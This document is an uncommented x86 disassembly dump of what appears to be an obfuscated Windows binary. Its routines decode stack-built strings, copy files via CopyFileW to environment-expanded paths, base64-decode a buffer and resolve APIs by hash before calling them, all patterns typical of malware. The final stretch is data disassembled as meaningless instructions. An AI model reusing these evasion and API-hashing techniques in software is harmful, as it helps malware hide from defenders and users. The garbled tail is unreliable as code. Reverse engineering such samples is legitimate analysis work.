push 3
push 0x120089
push eax
mov dword [ebp - 0xa4], esi
push esi
call fcn.046ac6f0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x46b3be4]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov edi, dword [ebp - 0x90]
mov esi, dword [ebp - 0x1c]
jmp dword [0x46b3cac]
mov dword [ebp - 0x18], edx
push dword [ebp - 0xa4]
call fcn.046782e0
add esp, 4
mov edx, dword [ebp - 0x18]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x46b3cb4]
mov dword [ebp - 0x24], ebx
mov edx, dword [ebp - 0x20]
mov byte [edx], 0
mov esi, edx
not esi
mov ecx, dword [ebp - 0x14]
mov eax, ecx
not eax
and eax, edx
mov dword [edi], 0x70201d1
mov dword [edi + 4], 0x33f3e35
mov dword [edi + 8], 0x80c0e31
mov dword [edi + 0xc], 0x2a1a36d3
mov dword [edi + 0x10], 0x3fd51421
mov dword [edi + 0x14], 0x1923261b
mov dword [edi + 0x18], 0x1316df1b
mov word [edi + 0x1c], 0xf568
mov dword [edi + 0x1e], 0
mov word [edi + 0x22], 0
and esi, ecx
mov dword [ebp - 0x10], esi
mov edx, 0xa4
mov esi, 0x5b
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edi + edx - 0xa4]
mov ebx, esi
xor ebx, edx
and ebx, ecx
xor ebx, edx
add bl, 0xcc
mov byte [edi + edx - 0xa4], bl
inc edx
dec esi
cmp edx, 0xc8
jne 0x4693f40
sub eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
push eax
push dword [ebp - 0x14]
push edi
call fcn.046792c0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x1c]
jmp dword [0x46b3cbc]
push dword [ebp - 0x14]
mov edi, eax
call fcn.046782e0
mov eax, edi
add esp, 4
and al, 1
test esi, esi
je 0x4693fc5
cmp esi, ebx
je 0x4693fc5
mov edi, eax
jmp 0x4693fa7
add esi, 8
cmp esi, ebx
je 0x4693fb8
mov eax, dword [esi]
test eax, eax
je 0x4693fa0
push eax
call fcn.046782e0
add esp, 4
jmp 0x4693fa0
push dword [ebp - 0x1c]
call fcn.046782e0
add esp, 4
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [ebp - 0x20]
jmp dword [0x46b3bec]
mov dword [ebp - 0x8c], 0xf338f133
mov dword [ebp - 0x88], 0xef0ded08
mov dword [ebp - 0x84], 0xeb7ce97f
mov dword [ebp - 0x80], 0xe77fe57a
mov dword [ebp - 0x7c], 0xe306e17f
mov dword [ebp - 0x78], 0x9f099d7f
mov dword [ebp - 0x74], 0x9b04990e
mov dword [ebp - 0x70], 0x9709950d
mov dword [ebp - 0x6c], 0x931c9146
mov dword [ebp - 0x68], 0x8f108d10
mov word [ebp - 0x64], 0x8988
mov dword [ebp - 0x62], 0
mov word [ebp - 0x5e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x8c]
lea esi, [eax + 0x2c]
mov ecx, 0xd3
sub ecx, eax
xor ecx, esi
and ecx, edx
xor ecx, esi
add cl, 0x24
mov byte [ebp + eax - 0x8c], cl
add eax, 0x8ba7a415
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
add eax, 0x74585beb
cmp eax, 0x30
jb 0x4694040
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0x8c], 0xf338f133
mov dword [ebp - 0x88], 0xef0ded08
mov dword [ebp - 0x84], 0xeb7ce97f
mov dword [ebp - 0x80], 0xe77fe57a
mov dword [ebp - 0x7c], 0xe306e17f
mov dword [ebp - 0x78], 0x9f099d7f
mov dword [ebp - 0x74], 0x9b04990e
mov dword [ebp - 0x70], 0x9709950d
mov dword [ebp - 0x6c], 0x931c9146
mov dword [ebp - 0x68], 0x8f108d10
mov word [ebp - 0x64], 0x8988
mov dword [ebp - 0x62], 0
mov word [ebp - 0x5e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x8c]
lea esi, [eax + 0x2c]
mov ecx, 0xd3
sub ecx, eax
xor ecx, esi
and ecx, edx
xor ecx, esi
add cl, 0x24
mov byte [ebp + eax - 0x8c], cl
add eax, 0x8ba7a415
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
add eax, 0x74585beb
cmp eax, 0x30
jb 0x46940f0
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x46b3b60]
push 0
push edi
push dword [ebp - 0x9c]
call fcn.046aca90
add esp, 0xc
push 0
push edi
push dword [ebp - 0x9c]
call fcn.046aca90
add esp, 0xc
jmp dword [0x46b3bf8]
int3
push eax
sub esp, 0x10
mov dword [ebp - 0x24], esp
sub esp, 0x18
mov esi, esp
push eax
mov dword [ebp - 0x14], esp
mov dword [esi], 0x510d4f2b
mov dword [esi + 4], 0x55e253e0
mov dword [esi + 8], 0x59f55710
mov dword [esi + 0xc], 0x5df95bec
mov dword [esi + 0x10], 0xa15e5f3b
mov byte [esi + 0x14], 0
mov eax, esi
add eax, 0x14
mov dword [ebp - 0x2c], eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + ecx]
lea edi, [ecx + 0x6298afed]
mov ebx, 0x12
sub ebx, ecx
mov edx, eax
not edx
or ebx, edx
add eax, ebx
inc eax
and edx, edi
or edx, eax
mov eax, edx
xor eax, 0xecfb6fa1
mov edi, edx
or edi, 0x1304905e
and edi, eax
mov ebx, edx
and ebx, 2
mov eax, edi
or edi, 2
imul edi, ebx
xor ebx, 2
and eax, 0xfd
imul eax, ebx
xor edx, 0x5e
add edx, eax
add edx, edi
inc dl
mov byte [esi + ecx], dl
add ecx, 0xaa4c0490
mov eax, ecx
and eax, 0x31
xor ecx, 0x55b3fb71
lea ecx, [ecx + eax*2]
cmp ecx, 0x15
jb 0x46941d0
mov eax, dword [ebp - 0x24]
mov edi, eax
mov ecx, 5
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, eax
add edi, 0x14
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push dword [ebp - 0x14]
push 0
push 0
push 9
push eax
push 0
call dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings]
jmp case.0x469350b.31
mov eax, 0xffffffff
push eax
call fcn.046782d0
add esp, 4
jmp dword [0x46b3cdc]
push eax
sub esp, 0x10
mov dword [ebp - 0x10], esp
sub esp, 0x18
mov eax, esp
push eax
mov dword [ebp - 0x40], esp
sub esp, 0x10
mov dword [ebp - 0x28], esp
sub esp, 0x14
mov dword [ebp - 0x1c], esp
sub esp, 0x1c
mov dword [ebp - 0x20], esp
sub esp, 0x20
mov dword [ebp - 0x4c], esp
sub esp, 0x18
mov dword [ebp - 0x50], esp
sub esp, 0x1c
mov dword [ebp - 0x14], esp
sub esp, 0xc
mov dword [ebp - 0x74], esp
sub esp, 0x1c
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x3c], esp
sub esp, 0x1c
mov dword [ebp - 0x68], esp
sub esp, 8
mov dword [ebp - 0x9c], esp
sub esp, 8
mov dword [ebp - 0x5c], esp
sub esp, 0x14
mov dword [ebp - 0x64], esp
sub esp, 0x34
mov dword [ebp - 0x24], esp
sub esp, 0x18
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x6c], esp
mov dword [eax], 0x510d4f2b
mov dword [eax + 4], 0x55e253e0
mov dword [eax + 8], 0x59f55710
mov dword [eax + 0xc], 0x5df95bec
mov dword [eax + 0x10], 0xa15e5f3b
mov byte [eax + 0x14], 0
mov ecx, eax
add ecx, 0x14
mov dword [ebp - 0x18], ecx
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [eax + ecx]
lea edi, [ecx + 0x6298afed]
mov ebx, 0x12
sub ebx, ecx
mov edx, esi
not edx
or ebx, edx
add esi, ebx
inc esi
and edx, edi
or edx, esi
mov edi, edx
xor edi, 0xecfb6fa1
mov esi, edx
or esi, 0x1304905e
and esi, edi
mov ebx, edx
and ebx, 2
mov edi, esi
or esi, 2
imul esi, ebx
xor ebx, 2
and edi, 0xfd
imul edi, ebx
xor edx, 0x5e
add edx, edi
add edx, esi
inc dl
mov byte [eax + ecx], dl
add ecx, 0xaa4c0490
mov edx, ecx
and edx, 0x31
xor ecx, 0x55b3fb71
lea ecx, [ecx + edx*2]
cmp ecx, 0x15
jb 0x4694340
mov ebx, dword [ebp - 0x10]
mov edi, ebx
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, ebx
add edi, 0x14
xor ecx, ecx
mov eax, dword [ebp - 0x18]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [ebp - 0x40]
push esi
push 0
push 0
push 9
push ebx
push 0
call dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings]
mov esi, dword [esi]
test esi, esi
js 0x4694280
lea eax, [esi + esi]
jmp 0x4694285
mov dword [ebp - 0x48], eax
push dword [ebp - 0x40]
push esi
mov dword [ebp - 0x54], eax
push eax
push 9
push ebx
push 0
call dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings]
mov esi, dword [ebp - 0x1c]
mov dword [esi], 0x36b0144
mov dword [esi + 4], 0x7650577
mov dword [esi + 8], 0xb780967
mov dword [esi + 0xc], 0xf0e0d68
mov eax, esi
add eax, 0x10
mov dword [esi + 0x10], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + edx]
mov esi, edx
and esi, edi
add esi, esi
sub esi, edi
lea ebx, [edx + edi]
not ebx
add esi, ecx
and ebx, 1
or esi, 1
sub ebx, esi
mov esi, dword [ebp - 0x1c]
mov byte [esi + edx], bl
inc edx
dec ecx
cmp edx, 0x14
jne 0x4694440
mov edx, dword [ebp - 0x28]
mov edi, edx
mov ecx, 4
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x10
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ebx, dword [ebp - 0x4c]
mov dword [ebx], 0xc36bc104
mov dword [ebx + 4], 0xc765c557
mov dword [ebx + 8], 0xcb58c967
mov dword [ebx + 0xc], 0xcf0dcd68
mov dword [ebx + 0x10], 0xb31cb111
mov dword [ebx + 0x14], 0xb724b515
mov dword [ebx + 0x18], 0xbbbab921
mov eax, ebx
add eax, 0x1c
mov word [ebx + 0x1c], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebx + edx]
lea edi, [edx - 0x16c24150]
mov ecx, 0x4f
sub ecx, edx
xor ecx, edi
and ecx, esi
xor ecx, edi
add ecx, 0xd2c5179
mov esi, ecx
xor esi, 0xea
and ecx, 0x15
add ecx, ecx
sub ecx, esi
inc cl
mov byte [ebx + edx], cl
mov ecx, edx
and ecx, 1
mov esi, edx
or esi, 0xfffffffe
not edx
or edx, 1
and edx, esi
not edx
lea edx, [edx + ecx*2]
cmp edx, 0x1e
jb 0x46944d0
mov edx, dword [ebp - 0x20]
mov edi, edx
mov ecx, 7
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, edx
add edi, 0x1c
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ebx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x14]
mov dword [esi], 0x933b91dc
mov dword [esi + 4], 0x9f3d9d0f
mov dword [esi + 8], 0x9b08990f
mov dword [esi + 0xc], 0x87368528
mov dword [esi + 0x10], 0x83c0813c
mov eax, esi
add eax, 0x14
mov word [esi + 0x14], 0x8d8c
mov dword [esi + 0x16], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + edx]
mov esi, edx
not esi
or esi, 0xe4341ba4
mov edi, edx
xor edi, 0xe4341ba4
add edi, esi
mov esi, edx
and esi, 0x1b
sub edi, esi
lea esi, [edi + edx*2]
lea edi, [edi + edx*2]
inc edi
and edi, ecx
add ecx, esi
inc ecx
mov esi, dword [ebp - 0x14]
add edi, edi
sub ecx, edi
add cl, 0xcc
mov byte [esi + edx], cl
mov ecx, edx
and ecx, 1
xor edx, 1
lea edx, [edx + ecx*2]
cmp edx, 0x1a
jb case.default.0x4694648
mov edx, dword [ebp - 0x50]
mov edi, edx
mov ecx, 5
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x14
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
add dword [ebp - 0x48], 2
mov eax, ebx
add eax, 2
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x24]
mov eax, ecx
add eax, 2
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, 2
mov dword [ebp - 0x78], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x58], 0
cmp esi, 0xc
setne al
add ecx, 0x2e
mov dword [ebp - 0x4c], ecx
lea ecx, [edx + 0x12]
mov dword [ebp - 0x80], ecx
xor ecx, ecx
jmp dword [eax*4 + 0x46b3ce4]
jmp dword [0x46b3cec]
push dword [ebp - 0x54]
call fcn.046782e0
add esp, 4
mov eax, dword [ebp - 0x58]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xa0], ecx
mov esi, dword [eax + ecx]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x46946a0
mov dword [ebp - 0x50], eax
mov edx, eax
sar edx, 1
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
lea ecx, [edx + eax]
mov dword [ebp - 0x28], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x46946d2
mov eax, 0xffffffff
mov dword [ebp - 0x1c], esi
push eax
call fcn.046782d0
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x54]
movzx ecx, word [eax]
mov dword [ebp - 0x14], edx
mov eax, edx
test cx, cx
je 0x4694711
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4694700
mov word [eax], 0x5c
mov dword [ebx], 0xf306f114
mov dword [ebx + 4], 0xef0ded7b
mov dword [ebx + 8], 0xeb7ee909
mov dword [ebx + 0xc], 0xe715e5c4
mov dword [ebx + 0x10], 0xe303e16c
mov dword [ebx + 0x14], 0x9f039d10
mov dword [ebx + 0x18], 0x9998
mov ecx, 0x2c
mov edx, 0xc42da0d3
movzx esi, byte [ebx + ecx - 0x2c]
mov edi, ecx
xor edi, edx
and edi, esi
xor edi, edx
mov esi, 0xd4e42422
sub esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
mov esi, dword [ebp - 0x44]
mov byte [esi + ecx - 0x2c], bl
mov ebx, dword [ebp - 0x44]
inc ecx
dec edx
cmp ecx, 0x48
jne 0x4694750
add eax, 2
mov edx, dword [ebp - 0x1c]
movzx ecx, word [edx]
test cx, cx
je 0x46947c0
add edx, 2
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x3c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x46947a0
jmp 0x46947c6
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x3c]
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x46947f1
mov edx, dword [ebp - 0x98]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x46947e0
mov word [eax], 0
push 0x60
push 3
push 0x120089
push edi
push dword [ebp - 0x14]
call fcn.046ac6f0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x46b3cf4]
xor eax, eax
jmp dword [0x46b3d64]
push 0
push esi
push dword [edi]
call fcn.046aca90
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x46b3cfc]
jmp dword [0x46b3d08]
mov eax, dword [ebp - 0x3c]
mov esi, dword [eax]
push esi
call fcn.046782d0
add esp, 4
push 0
push esi
push eax
mov eax, dword [ebp - 0x34]
push dword [eax]
call fcn.046acb80
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x3c]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.046782d0
add esp, 4
mov edi, eax
push 0
push esi
mov esi, dword [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x34]
push dword [eax]
call fcn.046acb80
add esp, 0x10
jmp dword [0x46b3d10]
mov dword [ebp - 0x70], edi
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
mov edi, dword [ebp - 0x34]
jmp dword [eax*4 + 0x46b3d14]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x70]
mov byte [ecx + eax], 0
push ecx
call fcn.04671000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x10], 0
jmp dword [ecx*4 + 0x46b3d1c]
mov dword [ebp - 0x94], eax
push eax
call fcn.04671950
add esp, 4
mov ebx, dword [ebp - 0x68]
mov dword [ebx], 0xd4af9a9d
mov dword [ebx + 4], 0xe1e2e8e2
mov dword [ebx + 8], 0xdcd8d01a
mov dword [ebx + 0xc], 0xe9eae0ea
mov dword [ebx + 0x10], 0xccdfdbdb
mov word [ebx + 0x14], 0xf8c7
mov byte [ebx + 0x16], 0x62
mov dword [ebx + 0x17], 0
mov ecx, 0x4b1b8fc2
mov edx, 0x96371f84
nop
nop
nop
nop
mov esi, edx
and esi, 0x94261af6
mov edi, ecx
xor edi, 0x6eb33d7b
add edi, esi
movzx esi, byte [ebx + ecx - 0x4b1b8fc2]
xor edi, esi
mov esi, edi
xor esi, 0xcd
and edi, 0x4d
lea ebx, [esi + edi*2]
add bl, 2
mov esi, dword [ebp - 0x68]
mov byte [esi + ecx - 0x4b1b8fc2], bl
mov ebx, dword [ebp - 0x68]
inc ecx
add edx, 2
cmp ecx, 0x4b1b8fdd
jne 0x4694950
push ebx
push eax
call fcn.04671a90
add esp, 8
mov ecx, 0xffffffff
mov edx, 0xfffffffd
nop
nop
nop
nop
nop
nop
add edx, 3
cmp byte [eax + ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x46949b0
shr edx, 2
mov esi, ecx
not esi
and esi, 1
mov edi, ecx
mov dword [ebp - 0x20], ecx
and ecx, 0xfffffffe
sub ecx, esi
movzx ecx, byte [eax + ecx]
cmp ecx, 0x3d
je 0x46949df
cmp ecx, 0x2e
jne 0x46949e0
dec edx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [eax + ecx - 2]
cmp ecx, 0x3d
mov ebx, dword [ebp - 0x44]
mov dword [ebp - 0x60], eax
je 0x46949f8
cmp ecx, 0x2e
jne 0x46949f9
dec edx
mov dword [ebp - 0x90], edx
lea eax, [edx + 1]
push eax
call fcn.046782d0
add esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x20], 0
je 0x4694b0e
xor edx, edx
mov edi, 2
jmp 0x4694a40
mov edx, dword [ebp - 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
jae 0x4694b0e
mov dword [ebp - 0x10], edx
mov esi, dword [ebp - 0x60]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.04689ea0
add esp, 4
mov byte [ebp - 0x18], al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.04689ea0
mov ecx, dword [ebp - 0x20]
add esp, 4
movzx edx, byte [ebp - 0x18]
shl dl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, dl
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x10]
mov byte [edx + esi], ah
lea edx, [esi + 1]
cmp edi, ecx
jae 0x4694a30
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x60]
movzx eax, byte [eax + edi]
push eax
mov esi, edx
call fcn.04689ea0
mov edx, esi
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp al, 0x40
je 0x4694a30
movzx edx, byte [ebp - 0x18]
shl dl, 4
mov byte [ebp - 0x2d], al
shr al, 2
and al, 0xf
or al, dl
mov esi, dword [ebp - 0x10]
lea edx, [esi + 2]
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x38]
mov byte [edx + esi + 1], al
lea eax, [edi + 1]
cmp eax, ecx
jae 0x4694a21
mov eax, dword [ebp - 0x60]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.04689ea0
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp al, 0x40
mov edx, dword [ebp - 0x18]
mov ah, byte [ebp - 0x2d]
je 0x4694a30
shl ah, 6
add al, ah
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x10]
mov byte [edx + esi + 2], al
add esi, 3
mov edx, esi
jmp 0x4694a30
mov ecx, dword [ebp - 0x90]
add ecx, 0xfffffffb
mov esi, dword [ebp - 0x9c]
mov dword [esi], ecx
mov eax, dword [ebp - 0x38]
add eax, 5
mov dword [esi + 4], eax
mov edi, dword [ebp - 0x5c]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0x14e20a34
push dword [0x46b9200]
call fcn.046abc60
add esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
mov edi, dword [ebp - 0x34]
jmp dword [ecx*4 + 0x46b3d24]
mov eax, dword [ebp - 0x50]
add eax, 0x10
cmp dword [ebp - 0x28], 0xfffffff8
mov esi, dword [ebp - 0x64]
jge 0x4694b80
mov eax, 0xffffffff
push eax
call fcn.046782d0
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [esi], 0x335e3107
mov dword [esi + 4], 0x3f083d4c
mov dword [esi + 8], 0x3b423944
mov dword [esi + 0xc], 0x47464538
mov dword [esi + 0x10], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0x28
mov edx, ecx
xor edx, 0xb4
add edx, esi
mov esi, dword [ebp - 0x64]
xor dl, byte [esi + ecx]
add dl, 0x7c
mov byte [esi + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x14
jne 0x4694bc0
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x10]
test cx, cx
je 0x4694c11
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp - 0x10]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4694c00
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x4694c43
mov edx, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4694c30
jmp 0x4694c46
mov esi, dword [ebp - 0x10]
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
push dword [eax]
push dword [eax + 4]
push esi
call fcn.04679100
mov dword [ebp - 0x10], eax
jmp dword [0x46b3d2c]
push esi
call fcn.046782e0
add esp, 4
push 0xbe5098bb
push dword [0x46b91e8]
call fcn.046abc60
add esp, 8
mov ecx, dword [ebp - 0x5c]
push dword [ecx + 4]
call eax
mov eax, dword [case.0x4694b65.0]
mov edx, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [ebp - 0x10], edx
mov esi, dword [ebp - 0x94]
jmp dword [0x46b3d44]
push dword [ebp - 0x38]
call fcn.046782e0
add esp, 4
jmp dword [0x46b3d50]
jmp dword [0x46b3d50]
push esi
call fcn.04671bc0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.04671bc0
add esp, 4
jmp dword [0x46b3d54]
jmp dword [0x46b3d5c]
mov eax, dword [edi]
mov dword [ebp - 0x88], 0xc8cbcacd
mov dword [ebp - 0x84], 0
mov ecx, 0xc5ed78d3
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx + 0x3a1286a5]
lea esi, [ecx + 0x3a128800]
and esi, edx
add edx, ecx
add esi, esi
mov edi, edx
sub edi, esi
mov esi, edi
and esi, 0x60
xor edi, 0xe0
lea esi, [edi + esi*2]
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [ebp + ecx + 0x3a1286a5], dl
inc ecx
cmp ecx, 0xc5ed78db
jne 0x4694d20
mov ecx, dword [0x46b91f4]
test ecx, ecx
je 0x4694da0
mov edx, dword [ebp - 0x88]
xor esi, esi
mov edi, dword [0x46b91f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4694d90
inc esi
cmp ecx, esi
jne 0x4694d80
jmp 0x4694da0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4695477
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
jmp dword [0x46b3d64]
push eax
push 4
push ecx
push dword [0x46b91fc]
call fcn.046a8f20
add esp, 0x10
mov eax, dword [ebp - 0x10]
jmp dword [0x46b3d64]
imul eax, dword cs:[edx], 0xc04692e
xor byte [ecx + 4], ch
and eax, 0xf1046930
cmp al, 105
add al, 0x35
xor byte [ecx + 4], ch
xchg byte [eax + 0x69], al
add al, 214
aas
imul eax, dword [esi + edx*8], 0xf104693f
cmp al, 0x69
add al, 0x1f
cmp eax, 0x37650469
imul eax, dword [edi + eax], 0x89046939
aaa
imul eax, dword [eax + edx], 0xbc046939
aaa
imul eax, dword [esp + ecx*8], 0x16046938
cmp byte [ecx + 4], ch
int3
xor dword [ecx + 4], ebp
xchg esp, eax
xor ch, byte [ecx + 4]
jbe 0x46b3c4f
imul eax, dword [esi + eax*8], 0xc6046932
xor ch, byte [ecx + 4]
invalid
add al, 0x68
xor ebp, dword [ecx + 4]
push eax
xor ebp, dword [ecx + 4]
lcall 0x6935, 0x74046933
xor eax, 893191273
imul eax, dword [eax + ebp*2], 0x20046935
xor eax, 0x35740469
imul eax, dword [ebx + ebp], 0x82046935
xor eax, 0x358e0469
imul eax, dword [ebx + ecx], 0x17046936
imul eax, dword ss:[ecx + eax], 0x1000000
xor eax, 0x353d0469
imul eax, dword [eax + ebp*2], 0x20046935
xor eax, 0x35740469
imul eax, dword [ebx + ebp], 0x82046935
xor eax, 0x358e0469
imul eax, dword [ebx + ecx], 0x17046936
imul eax, dword ss:[ecx + eax], 0x1000000
add byte [eax], al
add byte [edx + 0x1046935], al
add byte [eax], al
add byte [ebx], dl
aaa
imul eax, dword [esi + ebp*8], 0x7c046932
xor dword [ecx + 4], ebp
cwde
xor dword [ecx + 4], ebp
sahf
xor dword [ecx + 4], ebp
lodsb al, byte [esi]
xor dword [ecx + 4], ebp
lodsd eax, dword [esi]
imul eax, dword ds:[edx + ebx*2], 1778673970
xor ch, byte [ecx + 4]
sar dword [esi], 1
imul eax, dword [eax + eax*4], -1895536321
aas
imul eax, dword [ecx + eax], 0x1000000
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, ah
imul eax, dword cs:[edx + eax*4], 0x94046941
inc edx
imul eax, dword [eax + esi*8], 0x94046943
inc edx
imul eax, dword [edi + ecx*2], 0x88046946
inc esi
imul eax, dword [edx*2 + 0x60046946], 0x17046946
dec eax
imul eax, dword [eax + eax*2], 0x46948
dec ebp
imul eax, dword [eax], 0x66046948
dec eax
imul eax, dword [eax + edx*4], 0x90046948
dec eax
imul eax, dword [edi*4 - 0x10fb96b8], 0xd604694c
dec eax
imul eax, dword [edi + ebp*8], 0xfd04694c
dec eax
imul eax, dword [edx], 0x6c04694c
dec ebx
imul eax, dword [0x6e04694c], 0xa004694c
dec esp
imul eax, dword [eax], 0xa204694c
dec esp
imul eax, dword [eax], 0xb104694c
dec esp
imul eax, dword [edx + eax*8], 0xc804694c
dec esp
imul eax, dword [eax], 0xef04694c
dec esp
imul eax, dword [eax], 0xf504694c
dec esp
imul eax, dword [eax + eax], 0x1f04694d
dec eax
imul eax, dword [ecx + ebp*4], 0x7004694d
inc esi
imul eax, dword [ebx + esi*4], 0xf004694d
push eax
imul eax, dword [ecx + edi*4], 0x6004694d
push esp
imul eax, dword [eax + esi*8], 0x71046950
